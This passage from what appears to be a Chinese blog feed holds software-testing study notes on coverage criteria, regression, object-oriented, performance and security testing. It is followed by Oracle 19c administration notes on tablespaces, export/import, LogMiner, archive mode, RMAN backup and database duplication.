<li>每次只考虑一个参数的边界，固定其它参数</li>
<li>补充确定的关联边界值</li>
</ul>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="第四章白盒测试用例设计">第四章：白盒测试用例设计</h2>
<h3 id="为什么需要白盒测试">为什么需要白盒测试</h3>
<ol>
<li>确保每段代码都被执行，避免相应的缺陷</li>
<li>是黑盒测试/功能测试的补充</li>
<li>能覆盖高层规范说明中的忽视的底层细节</li>
<li>更容易进行自动化测试。</li>
</ol>
<h3 id="静态白盒测试">静态白盒测试</h3>
<ul>
<li>技术评审technical review</li>
<li>代码/文档阅读code/document reading</li>
<li>走查/通查walk through</li>
<li>专项检查inspection</li>
<li>代码/数据/文档审计code/data/document audit</li>
</ul>
<h3 id="动态白盒测试">动态白盒测试</h3>
<ul>
<li>基于控制流测试方法
<ul>
<li>逻辑覆盖测试</li>
<li>基本路径测试</li>
<li>循环处理方法</li>
</ul>
</li>
<li>基于数据流测试方法</li>
</ul>
<h3 id="测试覆盖准则">测试覆盖准则</h3>
<ul>
<li>对“测试执行到何时才是充分的？”的定量回答</li>
<li>测试软件的一种度量标准，描述程序源代码被测试的程度。</li>
</ul>
<h3 id="逻辑覆盖测试">逻辑覆盖测试</h3>
<ol>
<li>语句覆盖: 保证程序中的<strong>每条语句</strong>都执行一遍</li>
<li>判定覆盖: 保证<strong>每个判定</strong>取真取假至少一次</li>
<li>条件覆盖: 保证<strong>每个判定中的每个条件</strong>的所有可能结果都至少出现一次(取真取假至少一次)
<ul>
<li>条件覆盖不能保证程序所有分支都被执行</li>
</ul>
</li>
<li>判定条件覆盖: 保证<strong>每个判定和每个判定中的每个条件</strong>的取值至少满足一次(取真取假至少一次)</li>
<li>条件组合覆盖: 保证<strong>每个判定中条件的各种可能组合</strong>都至少出现一次
<ul>
<li>2^n组合数目,n为原子条件数</li>
</ul>
</li>
<li>路径覆盖: 保证<strong>每条可能执行到的路径</strong>都至少经过一次(如果程序中包含环路，则要求每条环路至少经过一次)
<ul>
<li>相对彻底,但<strong>不能</strong>替代条件覆盖和条件组合覆盖标准</li>
<li>路径条数可能以分支的指数级增加</li>
</ul>
</li>
</ol>
<h3 id="基本路径测试">基本路径测试</h3>
<ul>
<li>基本路径
<ul>
<li>指任何一条贯穿程序的路径，该路径至少包含一条不同于其他路径的边。</li>
<li>基本路径集合中路径条数唯一，基本路径可以不一样</li>
<li>其他路径可以通过基本路径运算得到</li>
</ul>
</li>
<li>圈复杂度
<ul>
<li>度量基本路径数</li>
<li>是所有语句被执行一次所需测试用例数的上限</li>
<li>具有最高圈复杂度的模块蕴含错误的可能性最大，是测试中关注的焦点</li>
<li>计算：
<ul>
<li>等于域的数量</li>
<li>V(G)=E-N+2, E为边，N为结点</li>
<li>V(G)=P+1，P为判定结点数</li>
</ul>
</li>
</ul>
</li>
<li>基本路径集寻找算法
<ol>
<li>确认从入口到出口的最短路径</li>
<li>从入口到第1个未被先后评估为真和假两种结果的条件语句</li>
<li>改变该条件语句的判断值</li>
<li>按最短路径从这个条件语句到出口</li>
<li>重复步骤2-5,直到所有基本路径都被找到</li>
</ol>
</li>
</ul>
<h3 id="循环处理方法">循环处理方法</h3>
<ul>
<li>循环
<ul>
<li>简单循环</li>
<li>嵌套循环</li>
<li>串接循环</li>
<li>非结构循环</li>
</ul>
</li>
<li>简单循环
<ol>
<li>跳过整个循环</li>
<li>只执行一次循环</li>
<li>执行两次循环</li>
<li>执行m(m &lt; n)次循环</li>
<li>执行n-1,n,n+1次循环</li>
</ol>
</li>
<li>嵌套循环
<ol>
<li>先测试最内层循环
<ul>
<li>所有外层的循环变量置为最小值</li>
<li>最内层按简单循环测试；</li>
</ul>
</li>
<li>由里向外，测试上层循环：
<ul>
<li>此层以外的所有外层循环的循环变量取最小值</li>
<li>此层以内的所有嵌套内层循环的循环变量取“典型值”</li>
<li>该层按简单循环测试；</li>
</ul>
</li>
<li>重复上一条规则，直到所有各层循环测试完毕</li>
<li>对全部各层循环同时取最小循环次数，或者同时取最大循环次数</li>
</ol>
</li>
<li>串接循环
<ol>
<li>若串接的各个循环互相独立:分别用简单循环的方法进行测试；</li>
<li>若两个循环不独立（第一个循环的循环变量与第二个循环控制相关），把第一个循环看作外循环，第二个循环看作内循环，然后用测试嵌套循环的办法来处理</li>
</ol>
</li>
</ul>
<h3 id="基于数据流的测试">基于数据流的测试</h3>
<ul>
<li>数据流是变量的定义或使用顺序和变量的可能状态的一种抽象表示。</li>
<li>数据流测试是一种面向变量定义位置-使用位置覆盖的基于程序结构的测试方法。</li>
<li>数据流测试的作用是用来测试变量定义位置和使用位置之间的路径。这些路径也 称为“定义-使用对”。</li>
<li>数据流覆盖测试步骤
<ol>
<li>对于给定的程序，构造相应的程序数据流图</li>
<li>找出所有变量的定义-使用路径</li>
<li>考察测试用例对这些路径的覆盖程度，即可作为衡量测试效果的度量值</li>
</ol>
</li>
<li>定义
<ul>
<li>谓词使用P-use——USE(v,n)位于一个谓词中，即条件判断语句中</li>
<li>计算使用C-use——USE(v,n)位于一个计算中，即计算表达式中</li>
<li>du-path</li>
<li>定义-清洁路径(define-clear-path/dc-path)：如果变量v的某个定义-使用路径，除起始节点外没有其它定义节点，则该路径是变量v的定义-清洁路径</li>
</ul>
</li>
<li>Rapps和Weyuker标准
<ol>
<li>All-Nodes：等价于语句覆盖</li>
<li>All-Edges：等价于分支覆盖</li>
<li>All-P-Uses：选择的路径中每个变量的每个定义节点都有一条dc-path到达该定义的每个P-use节点</li>
<li>All-Defs：选择的路径中每个变量的每个定义节点都有一条dc-path到达该定义的某个使用节点</li>
<li>All-P-Uses/Some C-Uses： 选择的路径中的每个变量的每个定义节点都有一条dc-path到达该定义的每个P-use节点;但如果没有可达P-use节点，dc-path应到达至少一个C-use节点</li>
<li>All-C-Uses/Some P-Uses：选择的路径中的每个变量的每个定义节点都有一条dc-path到达该定义的每个C-use节点;但如果没有可达C-use节点，dc-path应到达至少一个P-use节点</li>
<li>All-Uses：选择的路径中的每个变量的每个定义节点都有一条dc-path到达该变量的每个使用节点,若存在定义节点和使用节点间存在多条dc-path,仅选取其中一条。</li>
<li>All-DU-Paths：所有的DU-Path集合。路径中的每个变量的每个定义节点到达该变量的每个使用节点的所有dc-path。若存在循环，仅取一个简单循环或者无循环。</li>
<li>All-Paths：等价于路径覆盖</li>
</ol>
</li>
<li>数据流异常
<ul>
<li>未初始化就读取了变量的值</li>
<li>根本没有使用变量的值</li>
</ul>
</li>
<li>优点
<ul>
<li>揭示隐藏在代码变量定义和使用中的各种错误</li>
<li>可以覆盖所有语句、所有分支、所有路径</li>
<li>对代码的测试比较彻底</li>
</ul>
</li>
<li>缺点
<ul>
<li>无法检测代码中不可达路径</li>
<li>不验证需求规格</li>
</ul>
</li>
</ul>
<hr>
<h2 id="第五章回归测试">第五章：回归测试</h2>
<ul>
<li>目的：为了保证在软件演化和维护时，那些未变更的代码的功能不会受影响</li>
<li>回归测试与一般测试比较，有六个方面不同：
<ul>
<li>测试计划</li>
<li>测试范围</li>
<li>资源分配</li>
<li>开发信息</li>
<li>完成时间</li>
<li>执行频率</li>
</ul>
</li>
<li>过程
<ol>
<li>提出修改需求</li>
<li>修改软件工件（即软件制品artifact，文档、代码、模型等）</li>
<li>选择和生成测试用例(T1+T2)</li>
<li>执行测试</li>
<li>识别失败结果</li>
<li>确认错误</li>
<li>排除错误</li>
</ol>
</li>
<li>策略
<ul>
<li>全部重新测试方法</li>
<li>有选择的重新测试方法
<ul>
<li>最常用：选择与某个特定模块相关的所有测试用例，及所有集成测试用例</li>
</ul>
</li>
</ul>
</li>
<li>波及效应分析的2种方法
<ul>
<li>字符串匹配</li>
<li>程序切片</li>
</ul>
</li>
</ul>
<hr>
<h2 id="第六章">第六章</h2>
<h3 id="面向对象软件开发方法的本质">面向对象软件开发方法的本质</h3>
<ul>
<li>一切都是对象</li>
<li>任务(/职责/功能)的完成是通过对象之间的协作达到的</li>
</ul>
<h3 id="面向对象测试">面向对象测试</h3>
<ul>
<li>单元测试
<ul>
<li>两个常用的基本元素
<ol>
<li>method</li>
<li>class</li>
</ol>
</li>
<li>测试方法与传统软件测试既类似又不同</li>
</ul>
</li>
<li>集成测试
<ul>
<li>主要对系统内部的对象之间的协作进行测试，如成员函数间的相互作用，类间的消息传递等</li>
<li>因为面向对象程序具有动态绑定(dynamicbinding)特性，程序的控制流无法确定，只能对编译完成的程序做基于黑盒的集成测试</li>
<li>主程序最小化</li>
<li>基于合成/组合（composition）</li>
<li>使用类簇（class cluster），含继承</li>
<li>使用对象关系图(ORD: object relation diagram) – 类间依赖和方法依赖关系的有向图</li>
</ul>
</li>
<li>面向对象技术的影响
<ol>
<li>类</li>
</ol>
<ul>
<li>基本可测单元</li>
<li>由模块集成变成类的集成</li>
</ul>
<ol start="2">
<li>封装</li>
</ol>
<ul>
<li>修改封装会导致大量的回归测试</li>
<li>信息隐藏使对象的部分不可访问，减少了波动影响</li>
<li>测试顺序相当重要（可以减少工作量）：集成测试序</li>
</ul>
<ol start="3">
<li>继承</li>
</ol>
<ul>
<li>要确定衍类中从基类继承的已测试的功能是否需要再测试</li>
</ul>
<ol start="4">
<li>多态</li>
</ol>
<ul>
<li>引入了不可判定性问题</li>
<li>一个多态组件的每一个可能的绑定都需要一个独立的测试,使得集成计划复杂化</li>
</ul>
<ol start="5">
<li>抽象</li>
</ol>
<ul>
<li>抽象使测试变得困难，特别是要执行内部的结构测试时，降低了软件的可测试性。</li>
</ul>
</li>
<li>面向对象的开发模型
<ul>
<li>迭代式增量开发过程模型</li>
<li>面向对象分析</li>
<li>面向对象设计</li>
<li>面向对象编程</li>
<li>在整个软件开发生命周期全过程中不断测试,分析一点、测试一点，设计一点、测试一点，编码一点、测试一点</li>
</ul>
</li>
<li>OSD(object state diagram)模型
<ul>
<li>基于状态测试使测试变得复杂，因此使用OSD</li>
<li>步骤
<ol>
<li>扫描源程序得出带执行条件的执行分析表</li>
<li>确定对象状态</li>
<li>构造转移</li>
<li>构造测试消息序列</li>
<li>根据每条测试消息序列，选择相应的数据进行测试</li>
</ol>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="第七章软件性能测试">第七章:软件性能测试</h2>
<h3 id="软件性能定义">软件性能定义</h3>
<ul>
<li>软件的一种非功能特性，</li>
<li>软件在运行的过程中表现出来的时间和空间效率与用户的需求之间的吻合程度</li>
</ul>
<h3 id="软件性能具体指">软件性能具体指</h3>
<ul>
<li>响应时间</li>
<li>系统响应时间：计算机对用户的输入或请求作出反应的时间</li>
<li>应用延迟时间（latency）：是指应用接到指令后的处理时间。</li>
<li>吞吐量：是指系统在单位时间内处理请求的数量</li>
<li>并发用户数：是指系统可以同时承载的正常使用系统功能的用户的数量</li>
<li>资源利用率：反映的是在一段时间内资源平均被占用的情况</li>
</ul>
<h3 id="性能测试的方法">性能测试的方法</h3>
<ul>
<li>基准测试</li>
<li>负载测试（load testing）是检测在各种工作负载下系统的性能，也就是测试当负载逐渐增加时，系统各项性能指标的变化情况</li>
<li>压力测试（stress testing）是检测一个系统的瓶颈或者不能接受的性能点</li>
<li>容量测试（volume testing）是检测系统在给定时间内能够持续处理的最大负载或工作量</li>
<li>配置测试: 通过被测系统软/硬件环境的调整，了解各种不同环境对系统性能影响的程度，从而找到各项资源的最优分配原则。</li>
<li>可靠性测试</li>
<li>失效恢复测试</li>
</ul>
<h3 id="性能测试的步骤">性能测试的步骤</h3>
<ol>
<li>熟悉应用</li>
<li>测试需求</li>
<li>测试准备</li>
<li>测试执行</li>
<li>测试结果分析</li>
</ol>
<hr>
<h2 id="第八章">第八章</h2>
<h3 id="软件安全">软件安全</h3>
<ul>
<li>安全可靠（safety）：软件在运行过程中到达某个不安全的状态（例如触发了某个缺陷）导致了安全事故
<ul>
<li>正确性</li>
<li>稳定性</li>
<li>可靠性</li>
</ul>
</li>
<li>安全保密（security）：软件由于本身存在漏洞，被黑客利用发起攻击导致的安全事故
<ul>
<li>完整性：保护数据不被更改或破坏</li>
<li>机密性</li>
<li>可用性：确保资源被授权的用户使用</li>
</ul>
</li>
</ul>
<h3 id="软件安全保障方法">软件安全保障方法</h3>
<ul>
<li>先验方法
<ul>
<li>安全设计(原则)</li>
<li>安全风险预防、转移和回避策略</li>
<li>安全编程</li>
<li>威胁建模</li>
</ul>
</li>
<li>后验方法
<ul>
<li>安全测试</li>
<li>安全分析</li>
<li>安全验证</li>
</ul>
</li>
</ul>
<hr>
<h2 id="第九章">第九章</h2>
<h3 id="iso9126质量度量模型">ISO9126质量度量模型</h3>
<ol>
<li>功能性</li>
<li>可靠性</li>
<li>易使用性</li>
<li>效率</li>
<li>可维护性</li>
<li>可移植性</li>
</ol>
<h3 id="iso-25010">ISO 25010</h3>
<p>新增</p>
<ul>
<li>信息安全性
<ul>
<li>保密性</li>
<li>完整性</li>
<li>真实性</li>
<li>抗依赖性</li>
<li>可核查性</li>
</ul>
</li>
<li>互用性
<ul>
<li>软件兼容性</li>
<li>数据兼容性</li>
</ul>
</li>
</ul>
<h3 id="furps模型">FURPS+模型</h3>
<ul>
<li>功能(function)</li>
<li>易用(usablity)</li>
<li>可靠度(reliablity)</li>
<li>性能(performance)</li>
<li>可支持性(supportablity)</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>实用数据库实践笔记</title>
      <link>https://ds63.eu.org/2024/dive-into-oracle/</link>
      <pubDate>Tue, 04 Jun 2024 08:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/dive-into-oracle/</guid>
      <description>oracle 使用</description>
      <content:encoded><![CDATA[<h2 id="版本说明">版本说明</h2>
<ol>
<li>Oracle Database: 19c Enterprise Edition Release 19.0.0.0.0 - Production</li>
<li>mysql: 5.7.30-linux-glibc2.12-x86_64</li>
<li>rlwrap: 0.36</li>
<li>sqldeveloper: 19.2.1.247.2212</li>
<li>linux: OracleLinux-R7-U4-Server-x86_64</li>
</ol>
<h2 id="oracle数据库操作笔记">Oracle数据库操作笔记</h2>
<h3 id="登录">登录</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sqlplus / as sysdba
</span></span><span class="line"><span class="cl">SQL&gt; conn / as sysdba
</span></span><span class="line"><span class="cl"><span class="c1"># 如显示Connected to an idle instance. 需先启动</span>
</span></span><span class="line"><span class="cl"><span class="c1"># SQL&gt; STARTUP;</span>
</span></span></code></pre></div><h3 id="显示">显示</h3>
<ol>
<li>
<p>查看</p>
<ul>
<li><code>show pagesize</code></li>
<li><code>show linesize</code></li>
</ul>
</li>
<li>
<p>设置</p>
<ul>
<li><code>set pagesize 25</code></li>
<li><code>set linesize 120</code></li>
<li><code>alter session set nls_date_format='yyyy-mm-dd hh24:mi:ss';</code></li>
</ul>
</li>
<li>
<p>修改默认设置</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">vim <span class="nv">$ORACLE_HOME</span>/sqlplus/admin/glogin.sql
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">set</span> linesize <span class="m">120</span>
</span></span><span class="line"><span class="cl"><span class="nb">set</span> pagesize <span class="m">25</span>
</span></span><span class="line"><span class="cl"><span class="nb">set</span> sqlprompt _user<span class="s2">&#34;@&#34;</span>_connect_identifier&gt;
</span></span><span class="line"><span class="cl">define <span class="nv">_EDITOR</span><span class="o">=</span><span class="s2">&#34;vim&#34;</span>
</span></span></code></pre></div><h3 id="sql">SQL</h3>
<ol>
<li>QL(select)</li>
<li>DML(insert,update,deIete,merge)</li>
<li>DDL(create,alter,drop,rename,truncate,comment)</li>
<li>DCL(grant,revoke)
<ul>
<li><code>grant select on emp to hr</code></li>
<li><code>revoke select on emp from hr</code></li>
</ul>
</li>
<li>TCL(commit,rollback,savepoint)</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">create database wyd
</span></span><span class="line"><span class="cl">datafile <span class="s1">&#39;/u01/app/eu/oradata/wyd/system01.dbf&#39;</span> size 400m
</span></span><span class="line"><span class="cl">sysaux datafile <span class="s1">&#39;/u01/app/eu/oradata/wyd/sysaux01.dbf&#39;</span> size 400m
</span></span><span class="line"><span class="cl">default tablespace users datafile <span class="s1">&#39;/u01/app/eu/oradata/wyd/users01.dbf&#39;</span> size 100m
</span></span><span class="line"><span class="cl">default temporary tablespace temp tempfile <span class="s1">&#39;/u01/app/eu/oradata/wyd/temp01.dbf&#39;</span> size 20m
</span></span><span class="line"><span class="cl">undo tablespace undotbs1 datafile <span class="s1">&#39;/u01/app/eu/oradata/wyd/undotbs01.dbf&#39;</span> size 50m
</span></span><span class="line"><span class="cl">logfile
</span></span><span class="line"><span class="cl">group <span class="m">1</span> <span class="s1">&#39;/u01/app/eu/oradata/wyd/redo01.log&#39;</span> size 10m,
</span></span><span class="line"><span class="cl">group <span class="m">2</span> <span class="s1">&#39;/u01/app/eu/oradata/wyd/redo02.log&#39;</span> size 10m,
</span></span><span class="line"><span class="cl">group <span class="m">3</span> <span class="s1">&#39;/u01/app/eu/oradata/wyd/redo03.log&#39;</span> size 10m<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Database created
</span></span></code></pre></div><h2 id="目录">目录</h2>
<ul>
<li>创建 <code>create directory expdp_dest as '/u01/exp';</code></li>
<li>赋权：<code>grant read, write on directory expdp_dest to scott;</code></li>
<li>查找：<code>select DIRECTORY_NAME,DIRECTORY_PATH from dba_directories;</code></li>
</ul>
<h2 id="导出">导出</h2>
<ul>
<li><code>exp scott/tiger query=\'where sal\&gt;2500\' tables=emp file=emp2500.dmp</code></li>
<li><code>expdp scott/tiger directory=expdp_dest file=empdp1.dmp tables=emp</code></li>
<li>参考<a href="https://www.thegeekstuff.com/2016/02/oracle-exp-examples/"  target="_blank" rel="noopener" >15 Oracle Exp Command Examples to Export Database Objects</a></li>
</ul>
<h2 id="表空间">表空间</h2>
<ul>
<li>查看
<ul>
<li><code>select tablespace_name,status from dba_tablespaces;</code></li>
<li><code>select name from v$tablespace;</code></li>
</ul>
</li>
<li>创建表空间<code>create tablespace eu datafile '/u01/app/oracle/oradata/DB19C/eu.dbf' size 10m;</code></li>
<li>创建一张表到特定的表空间：<code>create table scott.tts(a varchar (30)) tablespace eu;</code></li>
<li>修改为只读<code>alter tablespace test read only;</code></li>
<li>从源数据库输出元数据：<code>exp \'sys\/admin1#3 as sysdba\' FILE=tts.dmp TRANSPORT_TABLESPACE=Y TABLESPACES=eu</code></li>
<li>查找表所对应的文件：<code>select file_name from dba_data_files where tablespace_name=(select tablespace_name from dba_tables where table_name='COLD');</code></li>
</ul>
<h2 id="数据文件">数据文件</h2>
<ul>
<li>查看<code>select name from v$datafile;</code></li>
<li>把元数据输入到目标数据库：<code>imp \'sys\/admin1#3 as sysdba\' FILE=tts.dmp TRANSPORT_TABLESPACE=Y DATAFILES=/u01/app/eu/oradata/eu01.dbf</code></li>
</ul>
<h2 id="字符集">字符集</h2>
<ul>
<li>参考：<a href="https://zeven0707.github.io/2019/01/09/oracle%20%E4%BF%AE%E6%94%B9%E5%AD%97%E7%AC%A6%E9%9B%86/"  target="_blank" rel="noopener" >[Oracle] oracle修改字符集 | zeven&rsquo;s blog</a></li>
<li>查看使用的字符集：<code>select value$ FROM sys.props$ WHERE name='NLS_CHARACTERSET';</code></li>
<li>修改：</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">alter system <span class="nb">enable</span> restricted session<span class="p">;</span>
</span></span><span class="line"><span class="cl">alter database character <span class="nb">set</span> internal_use AL32UTF8<span class="p">;</span> <span class="c1">#US7ASCII</span>
</span></span><span class="line"><span class="cl">alter system disable restricted session<span class="p">;</span>
</span></span></code></pre></div><h2 id="外部表">外部表</h2>
<ul>
<li>创建外部表</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="cl">create table scott.ex1<span class="o">(</span>empno int,deptno int,ename varchar<span class="o">(</span>20<span class="o">))</span>
</span></span><span class="line"><span class="cl">ORGANIZATION EXTERNAL
</span></span><span class="line"><span class="cl"><span class="o">(</span><span class="nb">type</span> oracle_loader default directory expdp_dest
</span></span><span class="line"><span class="cl">access parameters
</span></span><span class="line"><span class="cl"><span class="o">(</span>records delimited by newline
</span></span><span class="line"><span class="cl">fields terminated by <span class="s1">&#39;,&#39;</span>
</span></span><span class="line"><span class="cl">missing field values are null
</span></span><span class="line"><span class="cl"><span class="o">(</span>empno,deptno,ename<span class="o">))</span>
</span></span><span class="line"><span class="cl">location<span class="o">(</span><span class="s1">&#39;employees.dat&#39;</span><span class="o">))</span><span class="p">;</span>
</span></span></code></pre></div><ul>
<li>卸载数据</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">create table scott.ex2<span class="o">(</span>empno,ename,sal<span class="o">)</span>
</span></span><span class="line"><span class="cl">ORGANIZATION EXTERNAL
</span></span><span class="line"><span class="cl"><span class="o">(</span><span class="nb">type</span> oracle_datapump default directory expdp_dest
</span></span><span class="line"><span class="cl">location<span class="o">(</span><span class="s1">&#39;empl .dat&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="cl">as <span class="k">select</span> empno,ename,sal from scott.emp<span class="p">;</span>
</span></span></code></pre></div><ul>
<li>加载数据</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">create table scott.ex<span class="o">(</span>empno int,ename varchar<span class="o">(</span>20<span class="o">)</span>,sal number<span class="o">(</span>7,2<span class="o">))</span>
</span></span><span class="line"><span class="cl">ORGANIZATION EXTERNAL
</span></span><span class="line"><span class="cl"><span class="o">(</span><span class="nb">type</span> oracle_datapump default directory expdp_dest
</span></span><span class="line"><span class="cl">location<span class="o">(</span><span class="s1">&#39;empl .dat&#39;</span><span class="o">))</span><span class="p">;</span>
</span></span></code></pre></div><h2 id="logmnr">logmnr</h2>
<ul>
<li><code>archive log list;</code></li>
<li><code>select SUPPLEMENTAL_LOG_DATA_MIN from v$database;</code></li>
<li>启用数据库补充日志：<code>alter database add SUPPLEMENTAL LOG DATA;</code></li>
<li>产生数据字典文件</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p /u01/demo/dict
</span></span><span class="line"><span class="cl">create directory DICT as <span class="s1">&#39;/u01/demo/dict&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">EXECUTE dbms_logmnr_d.build<span class="o">(</span><span class="s1">&#39;v816dict.ora&#39;</span>,<span class="s1">&#39;DICT&#39;</span><span class="o">)</span><span class="p">;</span>
</span></span></code></pre></div><ul>
<li>找到需要分析的日志文件</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">select</span> GROUP#,STATUS from  v<span class="nv">$log</span><span class="p">;</span> <span class="c1">#看哪个是current</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span> member from v<span class="nv">$logfile</span> where GROUP#<span class="o">=</span>3<span class="p">;</span>
</span></span></code></pre></div><ul>
<li>添加需要分析的日志文件
<code>EXECUTE dbms_logmnr.add_logfile(logfilename=&gt;'/u01/app/eu/oradata/DB19C/redo03.log',Options=&gt;dbms_logmnr.new);</code></li>
<li>启动分析
<code>EXECUTE dbms_logmnr.start_logmnr(DictFilename=&gt;'/u01/demo/dict/v816dict.ora');</code></li>
<li>查询
<code>desc v$logmnr_contents;</code></li>
<li>闪回: <code>flashback table emp to timestamp to timestamp('2024-05-21 10:02:23'),'yyyy-mm-dd hh24:mi:ss'</code></li>
<li>行移动：
<ul>
<li><code>select table_name,row_movement from user_tables;</code></li>
<li><code>alter table emp enable row movement;</code></li>
</ul>
</li>
</ul>
<h2 id="归档模式">归档模式</h2>
<ul>
<li>查看:<code>archive log list;</code></li>
<li>要将Oracle数据库设置为归档模式，需要执行以下步骤：</li>
</ul>
<ol>
<li>关闭数据库：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="n">shutdown</span><span class="w"> </span><span class="k">immediate</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><ol start="2">
<li>以挂载状态启动数据库：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="n">startup</span><span class="w"> </span><span class="n">mount</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><ol start="3">
<li>将数据库更改为归档模式：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">database</span><span class="w"> </span><span class="n">archivelog</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><ol start="4">
<li>打开数据库：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">database</span><span class="w"> </span><span class="k">open</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h2 id="备份和恢复">备份和恢复</h2>
<ul>
<li><code>recover database;</code></li>
<li><code>alter database open;</code></li>
</ul>
<h3 id="rman">rman</h3>
<ul>
<li>基础使用</li>
</ul>
<pre tabindex="0"><code>rman
connect target /
backup tablespace users;
restore tablespace users;
</code></pre><ul>
<li>
<p>advice</p>
</li>
<li>
<p>repair</p>
</li>
<li>
<p>全盘备份和恢复</p>
<ul>
<li><code>configure channel device type disk format '/u01/eubak/%d_%u_%T';</code></li>
<li><code>CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO '/u01/eubak/auto/%F';</code></li>
<li><code>backup database plus archivelog;</code></li>
<li><code>vim /etc/oratab</code></li>
<li><code>restore spfile from ''</code>;</li>
<li><code>restore controlfile from '';</code></li>
<li><code>alter database mount;</code></li>
<li><code>restore database;</code></li>
</ul>
</li>
</ul>
<h2 id="在原有数据库的基础上创建数据库">在原有数据库的基础上创建数据库</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">SYS&gt; create pfile from spfile<span class="p">;</span>
</span></span><span class="line"><span class="cl">&gt;cd <span class="nv">$ORACLE_HOME</span>/dbs
</span></span><span class="line"><span class="cl">&gt;cp initwyd.ora initoradup.ora
</span></span><span class="line"><span class="cl">&gt; orapwd <span class="nv">file</span><span class="o">=</span>orapworadup <span class="nv">password</span><span class="o">=</span>admin1#3 <span class="c1">#创建口令文件</span>
</span></span><span class="line"><span class="cl">SYS&gt;select name from v<span class="nv">$datafile</span><span class="p">;</span> <span class="c1">#查找数据文件</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/system01.dbf</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/sysaux01.dbf</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/undotbs01.dbf</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/users01.dbf</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/wyd01.dbf</span>
</span></span><span class="line"><span class="cl">SYS&gt;select member from v<span class="nv">$logfile</span><span class="p">;</span> <span class="c1">#查找日志文件</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/redo01.log</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/redo02.log</span>
</span></span><span class="line"><span class="cl"><span class="c1">#/u01/app/eu/oradata/wyd/redo03.log</span>
</span></span><span class="line"><span class="cl">&gt;vim initoradup.ora
</span></span><span class="line"><span class="cl">: 1,$ s/wyd/oradup/g
</span></span><span class="line"><span class="cl"><span class="c1"># 根据刚才查找到的文件位置进行补充</span>
</span></span><span class="line"><span class="cl">*.DB_FILE_NAME_CONVERT<span class="o">=(</span><span class="s1">&#39;/u01/app/eu/oradata/wyd/&#39;</span>,<span class="s1">&#39;/u01/app/eu/oradata/oradup/&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">*.LOG_FILE_NAME_CONVERT<span class="o">=(</span><span class="s1">&#39;/u01/app/eu/oradata/wyd/&#39;</span>,<span class="s1">&#39;/u01/app/eu/oradata/oradup/&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">*.log_archive_dest_1<span class="o">=</span><span class="s1">&#39;location=/u01/arch/oradup&#39;</span>
</span></span><span class="line"><span class="cl">&gt; netmgr <span class="c1">#监听,需配置</span>
</span></span><span class="line"><span class="cl">&gt;lsnrctl stop
</span></span><span class="line"><span class="cl">&gt;lsnrctl start <span class="c1"># 重启</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 讲oradup启动到nomount状态</span>
</span></span><span class="line"><span class="cl">&gt;export <span class="nv">ORACLE_SID</span><span class="o">=</span>oradup 
</span></span><span class="line"><span class="cl">&gt;sqlplus / as sysdba
</span></span><span class="line"><span class="cl">SYS&gt; startup nomount
</span></span><span class="line"><span class="cl"><span class="c1"># 启动rman，同时连接原库和新库</span>
</span></span><span class="line"><span class="cl">&gt;rman target sys/admin1#3@wyd auxiliary sys/admin1#3@oradup
</span></span><span class="line"><span class="cl"><span class="c1"># 执行duplicate</span>
